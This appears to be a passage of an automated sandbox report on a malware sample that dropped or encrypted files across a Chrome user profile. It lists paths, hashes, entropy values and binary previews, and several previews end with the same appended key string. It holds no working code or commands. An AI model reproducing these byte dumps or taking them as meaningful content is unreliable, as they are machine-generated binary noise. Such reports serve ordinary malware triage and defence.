Preview:	2020/...Gi/`..~.......^..nN.@]...I....!....k....]..zl.P....I>...]m4..nA..Y=V}p.mgl......R?..U..aM..T}.?]..K..t...3..b 6."....i.......&.....Q.<.../...9>.k.i8...pa.....r..m9..(...H~...F..&C..w.>7..j.-...e..?GO.._.G...[.H.*M..;.\.w..[.{Wx0...}..(..d.S.K..pb.....%-.c6._.e.DlO...f..i...P..Q.y.F..Sv..j.9,F}-?].m.......\..jzuYkG...a~L#.w.q.f_...1.......R.U..Y..%.kg.p.......U./l..K6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Google Profile.ico

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	192624
Entropy (8bit):	7.998719632140624
Encrypted:	true
SSDEEP:	3072:csoxBSmDJl5qfzXcmQMpa9XhtR1U04LO6cDtpcAQp2AhM:cscB7/IfzsmQQqxt3U0I1p2Ay
MD5:	95F322EBF9F052D7180FB8BCE1ECD7FC
SHA1:	B920FDFB929E2F42DC059EC9265C754ADD6F4844
SHA-256:	B67FE7F481975352A1BC5D176E810103DE70B65EE2F06A3BCCC777DE2EA73308
SHA-512:	D727B73FB07226B7AE490A050C0F3DBC719DB611F36F9A31546B450414C7571FBBE7A88D3F8E20B9A3A7C1FAF86B978A818E5C2535C68F473DF536A063AAE016
Malicious:	true
Preview:	......;...V....Ea%...%.......\..B2Nt...n.Oz."R.).0.^.>...........n..,..yGh!../..28..6.W........-...=.J.....2.A...i.J.?5.....xJ..:...&.sL.t....H.K<9...M(vK0u.8.......8...k.<....\.>.V.q..sx.f...b~I.8Wi.........p.fh'.l).........r.(..AZ......w.......d.z. K.mI?c.fK.~y..."..hB.~.l7...lS......c]....q........ys:f.W....[l.u&..3...z.s.v."..d.yV...J......t.v%.mE.-..U..}.~#\|..0...../(1...m...z..9.~M...r.......B)v...<..%.a...j........3i..n...<H...0..".JWv;.9...-T.....y].".n.....Z.}..p%.l(._t..j/..'.@.....kY...D-..u.S..#.)b.Kn..y..S.\|.....^..8.......h....V...L..4.s.j.q.....t..5.a._...........'t<(.....E-.@......e~...<.S...dyuB.,...).S..\2...#...[.=.5. .P.\|.<.5#.....E.Iq0C.....zc..^.L..8..@!.}...u.^........V...f..5z.o......A.a.?p.3`1.A./(EmL.:..B.....&.+E....d....3.C.F...[.@......U../.B.\@...Y..x.3`.....58....`....n:...B}.dyw.H..........F+%...e..u\|.....=.s."..A.../x86.0..&.H....t..X]*t...~.y..O..<.J....+....,..npZ..@....i.>G...,..vI..Q.-.8.Ni.7.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\000003.log

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	383
Entropy (8bit):	7.367298346834235
Encrypted:	false
SSDEEP:	6:w4+Tp4PNsepMgxjAvIaQMapLFqRHEiwIeQCA4LCbuMu93yTIF+/AbGxntHcii96Z:XKDgxAxapL85Eibe4bs9g2lUtcii9a
MD5:	A83705C98AA5A768702B4B5D2725DC52
SHA1:	EB8C1831BB1F86318EAD3516119C5EF7E108B803
SHA-256:	8F34B684AEC8BB2414E5AE551B6568F1D130A0CFB48096EB37803C8B3C8CC6CC
SHA-512:	A936DAEEC13A291EEE5F02BBA138EA64EF11392AAA992C357BC518D457F0B2C15395EA44C332CA6C1B52D90DD1615859C1A9EBEF666DFA48F9F5D6C5313A2820
Malicious:	false
Preview:	.X.%*..+z...W....Y.....].J.(.F....E1...'].5_....HKmju.%...O..\...V.Q.RR.7...@...}.Bv.?s.W.....q..z-..g..`c....g..X$S.......E.W..j.s{C.V9..(.. I&&..J.Y.i.U.T..f.^.....<Y.N.;..bh.q....r.6...g-..r$..3:.2MJ.....&...].Y....m.KM.Y#....#.....Uj.M@.G.%..}..8.,...Q...pJ.XH.ru$.A1.o7;..L.....V...1.P.\K6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	6043
Entropy (8bit):	7.967638543256387
Encrypted:	false
SSDEEP:	96:WXJo1jPeUEfncstvj/1utpU+dqzRekhLqvy8B0tC+Eiphr:WXu1jNE0stvj9eUBeOqvBB0U+xpN
MD5:	315A900159D15247A821FFB092262040
SHA1:	7FB1436E13B2C615C8655A11D0CF6FE60356208A
SHA-256:	B66971E77F00C5892EA5EA78714073641D3709345BC80D6207C4731832E5B129
SHA-512:	C9E9D6F3390048CA39EF0AA5FDB56E05F6584CD9D904341EAEC8464479EF0ECF7A6C2DCF87692D9F4E2BC9CC4C54486AD4E8AC2CEB5ED80AADD66B282BCB6546
Malicious:	false
Preview:	.d......l......w.W.-..uzC....8..$.j..2:..).Ih}oi..R.d.d.{..t.9.T<'....DT..Ih.d.,.=.\.B....<..&....#.O%:.vF=a.>.'...}..ho...Q..T....."..R]W%..Izw.x.0...(nsUR>....u..z.5..F..3....L..D.Z..s....3r\.#..U"".3'c_...PkF.j...#.Z$...\&y.w..p.+....3.:..Y.&y;..a...s.Y...Q;.]"RK...h6..vR5........T.......w..H.A...S.i.0..0W.1.U...?.....>I..........\.L.[.E==.nV....x..Fm...O.B.B....@D..'..\.......r.W4...`..k.N....p.#...O.....D1O..I.~.N.D..."..>..\ ..<.@m.;>O...9(..5/...7...7T.p..y..I....F!J..2......X/.Lf\|.k..?.....H.s.Q.......'..m.].....>.3.[i..d.i[.m+..6...6..:.b\..I}!yS....Ys.....i.@.l..8.[....U...5aWY6....m...Z`c...o.....U...h....?..2..L6N...8.....!L4p..?_....5<.)...3:'...i.+q..Hv.!...9.......\|ig.($. U~..x{.w..{...J..n.st.i.>...D....U...\.Z&,..?...".v'.L..Hk:.w. 2j').G0L.\|.......ReL...0.......T..H.r.....R.:......^.nhr{.S....qV.rw.%.............TP.S.)A.#........%I@.22y_J.6..Zj....~...Q[..Js?.gS..s.;..t.'..(C....k..f%..<.y....e..D.9 ,....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	668
Entropy (8bit):	7.670059090967736
Encrypted:	false
SSDEEP:	12:tzjNIYLLPQu8kxyUnCqttUBy8eoXPOgAC/QCwzoCKT0Medtcii9a:5jiuHxHnxieMzpFe/bD
MD5:	787D387633F69DF21E1FF8672CB91F82
SHA1:	09CF4A6A2D9D74AF2928CFC6B91E16324E2A98CF
SHA-256:	E58806AAD055CA35E5AA247BD40D10A7BA1FF752AB28E936D0A94AD59A86A9B2
SHA-512:	3D09EF0157A1EFCC4751EE4EF4ED214DC4458BE6C93688745A2434E0B446B3D57CE07600C46DB43B3F7C2D33C242E78168ECA63DFDD4F737CC1ADF56B879D52D
Malicious:	false
Preview:	2020/~E...3...s#...#.......k.f.....{.....GV=:...V.uV.w..E.s.....QN..rw..........v.U._.T~U~.Rs..M3.....c.Q8.h1...~.2..?.I..K.....?....k....u.P..2#<..e.......^.k.......>.:=.fd.G.).j.n.1.....;..H.@k>'......g...$......u)6......w#..0. ...x.H(.}.. ..dy.N{. +W{0..x.....;{..q....].6.'..8..rh_...e....T.......zjA.e....1..B....r.%....3\|.)...r.....]>..-...[...#.......P.7N...PO..\......n..z.. ..@).q:....V._]...b}.G....>.....%...%..hF.Jz............."...4O.v.....?..Q...z..o..K_.......BV....m+.N/.(74...t ....V..?O...4....$......A.o.n.....ZG..^....>..'.o...Y..m......Y..z...K6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications\LOG.old

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	667
Entropy (8bit):	7.674052990054767
Encrypted:	false
SSDEEP:	12:PQvyLn44OviIYlvAnkZfM89Qwk2vc7KDzcTBnZbW8KStcii9a:POIvOaJ6kxBfk2eeQTBZPKsbD
MD5:	1C88A5A637F13C1C5EB13005037EEBCB
SHA1:	4902CF73A0BF0F59C325A91D348D5D9BF763E599
SHA-256:	26DB325F56E60D907D0CB764A4966D286C6EB5A7A16BF789951A3E138D6EC0C3
SHA-512:	582F07774D7BFA561BE64C93A575C51228FCB3AB60A52721D79758E7EFD84AD343633E893EC34D034A3CB5A72A9629F2FC97974B5125C0221B83F30BEE619D61
Malicious:	false
Preview:	2020/.......<(..........%.....;].>LX.,N.......v./.f..P..w....T...#.-..n.@l56...f..M.C....v..Z..=..J..J5.b..'...b...._7..A..d.z..!#h[9p.UYe#3&h..y&.......N..W....\.....^.....t.]......h.......?...D..k.".frK..u].......X.....W..1.=...K.4.N[.....o.....4>....y[7.es;!_....bn...A...I.d....LIR../......./....y...F.....o...Y............p._.M%.5...a.v.n.]x)........=...L.2~'.......m6.o..O...</.d.............87...H........5......{.p.x.....5..N..........gm......H.4.`P......R.W.s..O.(h...A.l]kc..=......Q]... ..!..{.g...N.l..f.lV...#.,.~........yj..0...$..!.']K6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	769
Entropy (8bit):	7.697798423732244
Encrypted:	false
SSDEEP:	24:bK13IvscKBmRTjNvjNK29ZfpPhwJre/pJTp/bD:bK1RcKBMhvjYkh5z/pJT1D
MD5:	E34F5B56C6DEEA610347ED1816F667D8
SHA1:	542DF7E39A4D501123A5654297DF2D243170A3A7
SHA-256:	0CF0523FC019B5804F4A744C7087DFA9430FA72898DC10AA27A6B414D38E2CBC
SHA-512:	09047AF632D8F425CC55A457561FED9DE9D98BC1D8900AD75231ECE91E69DF464F0CCC24DE2223173E78737F34A030D8C3BA9A7BF5CC751F6B50EA548F30D9B3
Malicious:	false
Preview:	...#.?"..!."8.^..&..A,.X..y'@..............1X..>."..N....0..l)...?....QZ.&:P..&......Hh.w_!7......V.....3.eb0V.c>....M.....c.{..I,[......N...=R.M..Hx...;0........1...e.6.C....Wg~NK.......v...lb....?.y.<^..........=.#.0...D.j..+...E<d...M..[....d.x.IW.D...y..\|....E...x...i.....w..'..H....\gcW.W'}......e4v..b.I\|p..t......M- ..\.:-....o..^..^6x.S..m.I."..L.J......o..D.b...$...y...r...~@../V&...<...'.Vt.P..U.k..nR.G!.=.....Z....3...^.%.....~...U5.3.a;..n?..!.E.XD...a}......;...G.....n....Bs.\|.5...Oka[..Y.N}K....p.T...q.7...y]..qe...=..t..e`..y.....\|)$X..S...uf..k.`...W....%.O.....yF.D..:]U........a.wV.bl...e.zv&l..9....$..@U.5.......\|j=...jMY.MbK6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG.old

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	653
Entropy (8bit):	7.638873793462919
Encrypted:	false
SSDEEP:	12:bY3LJQIFCJ7LB4nuX8Ig3Om7mZinuLU+r4BUBP/TBPidEKtcii9a:ktjCJPOus57ugcLRB8bD
MD5:	3F9394F679ECFA767C6ADA465666E773
SHA1:	1FA448A8E3B9610582030691851CB8E3801A1161
SHA-256:	8DE591AEA32A3FD0DB36A55F7C974AFBCEB39A3CB393115F9B08054FFF9F58FE
SHA-512:	6B8710F4CE0F65792E9A5D8586B4B277BCA98D1DA7881C078EA3291B6C993B024ED0616B3B3C87920A7E4EFFD28FF981721C5079FBE99ECDDFC8A028FD1E2D07
Malicious:	false
Preview:	2020/e..BUP4.>....P....5h.#[....d..@h...P.]./..D..5...r^..Iz.2.%. ).......V.fsK.p...?......N-..g.T...?4s...oO}.&-...@......\|.3...P.!....../l.....E?.R.+.9.....!...!.{y2".(^.X.#.d[E.Q.].:..B..&.x...^..k.......e.}.]N....I.....u6d.P.V.CU.O.]...v.m.b......<+..i..<....X...q...~.E.....k...G..c.2...Hv..d....Gy..c.T?.[6.5..!..Arx..+.,.}.`......&......j.....\....i`.b,.{...n....Y..u.].I.T.Fj..v.%...g.. ....F..=......Ke...@.0s8s.N....A.h%.).K......C2.:.[.+.....q...yw..#A..._....V.(.2.n.K..&..3MW..4..c3....A.N..nW.\..Z..f....c..N....\ZxGT....t..........K6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	7.396614774215386
Encrypted:	false
SSDEEP:	6:9Zzk3waD0GZx5zoAlEhza+Pgjao6MozxMvqzGLEsf4gCWe0grqbRAliGxntHciik:9ZIfD0GZLiv4TukqzGLggC107ADtciik
MD5:	C8C19ADAF44C9A870BC9A702ECF7A598
SHA1:	931F03138C765063E2BA953BCB660042925BFADC
SHA-256:	7C822056DC7E2F30336CE08C33CE7DB971DC491906DDD427748B19BA2893DABC
SHA-512:	F84024A02694825EC7A125C1F95EA7AD334933FAC7972148E02BE855E33747FFFF1D475C974C4313C0B6BE162B4AC1323ED715E03ECE2A7756524E60FF36D56F
Malicious:	false
Preview:	.On.!..aS......+..KF..3..W..PH.....A.*..=.......i0d..._.o.......{.m....OM..Z......P.....0......h...O.d...7'..;...\h.....,".PL..........Qv}..v_.1lO....%.....Y.\|.!.. .........3..]....m...>^...=.Sn.:<.....q......0..S.yq.{#o0.[N....-.._"...7..Y....?h......L.~Nw..Vj..J....q............q)K6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000003.log

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	9100
Entropy (8bit):	7.978760662505691
Encrypted:	false
SSDEEP:	192:ldUf+3OeC43EkGeC3PCgpxfTzZMZncDV29tOkvQctSgfRh0RqeL3s:fbv3tLmPCuxeGQ9vQctSU0Rb3s
MD5:	BEE09D2C0576FF772EB3F8DDA2BE7F79
SHA1:	CF6D7BC6645E5188E9450BE879AC600045D23156
SHA-256:	238DB7F954832886CB2DA1732BC0F9EE326967B48D501853E79EC3D186834475
SHA-512:	0673CE214D58599C158B859653C00F6C97656F344CD08DA45006D75284AD4ED2699AA8F936369E2E0BD01B0F395B8A2D04372E7222D42A51CA1E7EDF01E2261C
Malicious:	false
Preview:	...n'.[W.Ee.NM..C......W<.m..z.5...Z...nW.U.Q}..K.#K....R;..=..l.%z...3......=q..[.x>)@.?4....4.@KSA./.)......7.uO...1.m`.1R...Y....=H.....4...G..aV.._.d.....X....t.P....b.y....a."h..sE.HhSr.(...e.`...H.90..4....\...e.(abN9.Vm....9.j..........._Y...;K..1.,...E....Qh.JP..I......po........<-..3..+...W..i.......'H....s.;V4....;X..7vzar.a..]..$.q...@a...Oj...............L.@....U.R..3b/'.n..Ue....e.p....=0.X,b.A.........z....4\'......y.,....IZP.06.e.....Z...Z=...N9.uuB..Mb ,.....!WX.s........f._..1.\....U....`T.......<..a.......z.d.F...-..)..]../.-K.,...=Li...xv.......J5..$...S['.?....... .2..J..0.sP.C...%6'.w<.~..>.......].%.(.....\....z.Z......@.}...I..@.....NB.....#.e......$..u.p..Za.3..w...k....E...HKy..-^.......8'Se......pM.Yr\|y.(.....tj......kT....!'T"...JW....'..Pi..Q.I.f....6..q-k..).....D7...k.k.g^X..9.w.b$xE9..fFH.q3L.PY5.a....j.p.9.....T.\|5N....9f.@g..X..q.._.M^..+;....\..%..r..=ga...@....0.........l./%?.4.)uk....t.p.....W:..*

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG.old

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	660
Entropy (8bit):	7.649127992846428
Encrypted:	false
SSDEEP:	12:1pe9LdO7bwSyBM9gX0bMDcFd/Twa2XcVgtWrPy9kQj1CSnxt7dtcii9a:zo8FNY0bzFVNy9t0WLj1VtrbD
MD5:	1078CFFE322A5F483EF2BC4949198A45
SHA1:	C7E346949ED582BC6F85570F1D40F5E6EDBF58C7
SHA-256:	FE62732702AC3E1AB321AB394F75DCC99E6C61104298652E400D5F31A8458E2C
SHA-512:	07653149E57ECF4596449C0654198B412AA525487319C38601DE4369DCF23AC57990E1B7A54EB5C21E86E8BBC12026559C39D48BBDBE5C14D93B0E50CD8C490A
Malicious:	false
Preview:	2020/..-]..1...n..f=i...&....2.. ..).........R<GJ..M...0.....^..Q...g.?u.{>c...m.C.n.a_.z....m[!..).5.Y.m./..6.....Es".R?C.{$.C9..x.....)MA(.i.).g.._V..)...b."...30p..EzI.....iG..:..3...."Yq......G.j.x.Kd.!G.....c.$.d...c...8...3(.D`..n..-....^.....".r.......=?..a.4..Cox....H.`.hc%.`...+...6.h..\|..f.......-%A...P\|.....xr.\,........-1..;...40E...l3M.^.<.3..D..._O.P.".}-.X..._.4..?K.l:%[.J.\..p........\|5....).1O=/........b..S...K.............p...>..U..BEg..ve...<.f.....>=.m....Qh:.......c...(..K..a..@6.B.9V+&..h..B.#......Jo...C...Ws.[.........g.K6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\128.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	8296
Entropy (8bit):	7.978450396782321
Encrypted:	false
SSDEEP:	192:9Z3Ey6dvKDeck+HpaYNenBeC+jj8Rnjy97fExX4xCi+La9p:zzeSskeBeNH8Itfw4Ei+cp
MD5:	5CDB1CE4644F150FB732C6E740F8A88C
SHA1:	949CBC452066C1C0050F6B7512B021E77ABD39AB
SHA-256:	071D986F16B321D2C5BD9675014FA2D69BE2B1A1A2062C556E39093953E7FC48
SHA-512:	731BE0B952D2FCD8D14175937E09760251D819F33DAC54E483DD3C0C2BCDAFA5E250E8EF9CEFEDB92835DA5C7A7A3B05DD995A669560E50E80B9547A66E1B453
Malicious:	false
Preview:	.PNG........_..J.k.U.......P`t...[....Q....P.m....\w....?....zv.</G...D...}.HW.W....@._.!E.......SJ.Zv....(.'=n.......:3..J..g....c...6~.K.l.u.4..\|.j...>.E1......4E.FE.T.#...g.'(.eP:Z6...m...>...A.....}..v.xLCCB.5..Rq.V[..o.."=.......c.'....18@..D......-..~..hpT.>s.fU.."..v..\....lW..U...`.v.......(\|..i...l.FlEI.....7}.'....g.O.%W!0].......n.L..E..s.....f...K`]....C...oD......(......Wi........#...z..qo..'.uS....5do.^q..s.....jp....R....F....c...98...}[{..b..n......w..K..............._...v...}.[.O^./5#.[U.......5~\.K.I^.q.5m.[#..9.D.3o.R.b.&T.._......b.....dh..S.!Z.d...(.R.).5M..\./?....A.Y..r~h........h.2.8......a!`]?6.]h.Y......bDRF..f..XV..v.t.7...dH.c.....S'.\l.....+.>.......q.........{....M.....h.."...3c..bt.i..\|.....d(MY..G..\|.....S......y#.x.......0Bp.Ia...R..(..&m.e...=C...}z\|...(....3z;......Y.B.!.`.\4.:O.f.$S.C%,..uW}...7.Hw...C0N..sk:../...Pq....z.....'.......Y6\,8..9..wAZ"~..(....!.....T..K.T.*..g..6....K.q..WT'A..........8]..p

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\192.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	6023
Entropy (8bit):	7.972857180537423
Encrypted:	false
SSDEEP:	96:5KquxkBkMBMlbVkHJtw2NNhkBRjW18Dci3v/U4+pT2SxRMHM3E3c14vo3JztO8y:5buyBkfkhNNeoyncT2SDuM0s1HJztO3
MD5:	0E23B318DFE7EB2FB7BD908B34BF1DFA
SHA1:	5567653AF56A118ACE91693E5D57CC04B27D5F2C
SHA-256:	D59BCE2C217BFEE2025ED724287643A1A50C72DA7D9CD7A65166CF938B42D8C1
SHA-512:	7571463FA5F34AEF0947C6C628818798C276A59F9A1DF5828EACD47CAB2024549D3B683815B220F342ADD7D2B69C8A618DE4B7E594F28E8A286CEE09FECB05F6
Malicious:	false
Preview:	.PNG.x.y.....(..(...a...Q..t2...}.H..K..,H..#.H...}......%..:.Z.R.H^.g...1.......r\|..".....wu....p.)....R.H ....M..?.L...D<$.._ZP.!...(..4}..$3.$.$?..C.rZ..+..b..t.+..;w..T/R%.]...`...C.5..B.I.I...8X,.`..vA...H.~d......S.j.t..GH....N..'..c........K...?!t.B..r...Q.......`V%o......Ee....U.....n...M!8..,gcFntY=...%....u(..i....-/...,w..o.$d.\l...{.. ....N.....q............\|...D.h.1.Y.J.nT.............o.....mq...........F....$.'.`.1..Z... ].8.{....j..4u/.n......o.i......\|...2....{&.n.J..\l.A..5A.X.`F2m..vP.\|aRd.......2CJ.V...%oJ4.i..&P)]7.9.Y.;.{..i..NN.L.f..n-.5<)..k.sUzk...o../zb.Y.S..,".7..'8)F.......9...:S.~...:.'...o{36.....UeE,...\|.p.Q......zl.?.M.Z..mU"..t#B"...\.2.....R.........;...f...]tM`...hV~.j.3_-......M...^.l...n...J../._........F........c.....@.MN..E.x.N5....5....~..o#..U....nZ....Z..gB.@...$.....^...[......r..\|.".../3.y..4r%..l .[...:.b.w.&..J....7...^w....I..oH..g2.g......b#...m.`fde........)..IyP.......?.e........I

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\256.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	19928
Entropy (8bit):	7.990946717067047
Encrypted:	true
SSDEEP:	384:YHCVYPMVU2f8ZCi5sfptG8iJlrW17KD5CHrbH0xx3b:YHoYPMmTceIDiPrW9+5CLz0/L
MD5:	76B0AECCA79009E4B27CECE4B44AB567
SHA1:	0C9ED9B16BD4E8686D090BF52546E8B41AACCBF2
SHA-256:	FB360917F19EAD9C4239C90A0768E9CCF331B450BD2A06EC82D6E63E8A79E851
SHA-512:	9CABB97542D2E6348E6218E4A3ED8EAEA252E710D9E7AECF51A2F8A78A859708029C6251344B0CAEBF671A77D4AD9698B81EDB986F52F1597E712ECF1C9844EE
Malicious:	true
Preview:	.PNG..w...6OC..1...J8..HA...vR.k_..=JA.......x+..s.~.]2..y?o^..?{,7.?.W`-.y....._.+...h.yi...\zQ.].3y..2F..K...-Q..h....%..aZ.%..K..l...S.^.Q..8..'.O.+X........_o.......:.I..N.zgG.r6W.....3^.B^...!...U.2^x'.....R.Br9M0#.dzp )...F[.o.Kq.,]...r.e^S..9./xL..R`.{!.....}....N"._-ug..H.T.......:w.cT...\.aV.}.k"...t.V....R...v...^.-Q.R...3u@3...l]....E,.s.....~.v.v...~".[#...O..M.!:.....}.<X.M..t.~.3.<a.b..x<5.T..+.nl......s.Y..i..y.(.MC2.0.?........_.lmj.:.P.K.Q.v....j....uh.B..._8.......?.%.!.0;.:.....a/(...xpK!....,..m.a.=8...T.B..(..........=......g.A...Aox&HtgU.W..e...T..k..Lp........S%....O?9.x.....s..T..^..Si~.Wn......b3.'8. ..\|`l`..7.@K..#.V.h....c....+Q..%\.......E...$_........pm..8.........EV0.e~.X.V.;.}<.._6v#, .h-.....T_......I.4.,.fs._V./.xn....TG..R.7.UY....<.b.~.D...{......~...<.Y..3..[.bQ.6....?....5~7. ..........=.G.k;s<u.......d.....i)I.;......q.T...N...s.l....C..FoO.....0t.9t.....g..%......v.cgY..}....=.r?....j.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\32.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	2150
Entropy (8bit):	7.894838455997438
Encrypted:	false
SSDEEP:	48:gyzOkNT79cUjtZbSAug7ApNxpUrKGlC86yu82mnIOHkDQmD:gojj3SAug7KNxpU2W6uN+
MD5:	0368FC44052EBE5766887EDFE863921C
SHA1:	77A16CFEEF768A66D5F5EA8B1A2D8051BB71B1D7
SHA-256:	9E88388BFC6EA72A0EB4CEF2D7500C217F9D2ED4854C502497C800281922F398
SHA-512:	312EF3542B657361C4989C5BF354B45B1B358397BD311BB198389A04DD01E053328EAE987364C901E06A8DF0C6A381DB08FE83C95048409E2DC57E0647C70422
Malicious:	false
Preview:	.PNG....s......k.xm6Hty..b....O....'..It.?~H..~...k.SZ..n.-.A.....G..z.M.X.;.Z.c=....Bc[.%.R.u.D8.s.q$.zJ^".h`.....&]...y..<D..6...j..G..H.W......v.%..h...qK3.....h]yR.$F.k.}#..F_.BO:5.Mav.r.-.....&3GT..F%.S+Y...KM...b,hG..<~.E...\|..2l.>..px...P.....D.....\|........er....-..6.fg.~r.Hv.Z.....n:...e.q...$2.z.W .01...G...:`..ks...A..{.JF].T.?..0.Gk.....i\..F..6FE4u.........Nv...%...u..o.6.nH..6...t...I..k8h(...E+...L.&1..q......YA......PFQ.QM..i...jj.... .A.T.st.Z...E&..t..X`.Y.;.......p...N.%.k$.u.{}....7x...,GID8E}.o\....p....J.Z.0y.CN9.UW...,..j_=.hn..~.\|.F.a..^G.N:MP.3U...;v.o.7.D.r.H7.Y.S.......<...f.Tg...;...>...C.....i..8n\|..-..\|..<.P.D...X...+S.....f.z..P.T#.{..W;....w.......`...-a......b......rf.>..0...:....xB....3~....C.1]....w>.......L..2("`.k..sE.w......8u......n{.9+.j....C.F.$P......Y^^.&..V.kH..e.....y-.....&%B.C:+...n..x.......<......n@pK.L.L........5...2U9.[N..:QA.....RI.s?.....[...]n...u.."]y@.P......^..&..L..`.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\48.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	3201
Entropy (8bit):	7.937383274033901
Encrypted:	false
SSDEEP:	96:AHqMJ+TJ5NSuXhpJbVjA2L57G2Qkf34i0nICkuaJ:fFNxRH5jAa79NIi1
MD5:	0E9DB0540EC9F914C573E49C1D3D57B6
SHA1:	2F798EA473C15FC9C5E2DBBE771CB65A8E13D162
SHA-256:	143DCDA4CE752BF6B8DA0189A87265C9DB65B8690938C166916F4C47575247CC
SHA-512:	434EE983B9F0A2BD918FAD8BD11DF5EFCE297E91762011F52933BC3B3472E2277727BD9CF7CA123E755B64243D20D6281B30355298B608F2A75DA3E2FF8FD6CF
Malicious:	false
Preview:	.PNG.~..1....E.2(.....#.2j.....-.K..lV.%..X.(...E.a..?......D.x..S."H3..R....a.pS.!.Z^.......t..&..>.u.X....B..o.D@...g....j.'....la.p.d....Ih....@.T.\|.#..w..e...e>.e..5hd.v.i#..fi<V{!...q...9...+Kp&...]........g...[.&.e.$...2....NS........7.0.3[.qj.E...X.P..; ......T....5...g..u).,.M9N/V..J...}D.....A....a.m.)N.H.j.@:.^.....C......J..;`..1[hK>..:e.6.2.....]+...bk..F.e7%(...._.d_Z.F.....~..^E8.?....7%..`R..bv..$.0.P........{.R...[...Y.)Z.O. ?..?.'...kqP.7..).......#.].HT#.=S..O.0../............0..b..i.3.F>..:.....o..HB.G..U%.TFa%.$.m.w..YP`.+...S...K:.\|.r,.....r...U5.M.!@.Om...RA.4..m.4X..+....._l.........V.7...K.J6m....8Zn..:q...6..H..7.;#......+.w.....wxp~....t.2..y...GP$HaC3RS..r..!_.....0[.g..A.3...u.........:...J.0SI...bm..<_..A.....c...).4...(..M..ne,.....(.j.?...%.f....Bo........7...?.U..+...^mR..F.....h]...I.......GI}..^F.../.c..]..FK.u~.7.i).K~.*z..B...}oF./3...b.....8A]._...r......K.)v..u...G.#.,.W....$.Y.9f.B1B%..~S...X

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\64.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	4170
Entropy (8bit):	7.956316605559718
Encrypted:	false
SSDEEP:	96:Ehc03GYR4fYRY9csjT57qlyQNPe8dbVSrZ6mWU:EbGEYCsvolyQNvdB66mt
MD5:	9735BC839F2401673CF7A2A685F842EE
SHA1:	069AA691CD58F018D890AE15D4491B106846F170
SHA-256:	3F66D4999B26095E50327C47D83AE8F7AE8C82011414AEB11AD970E5F8ED876C
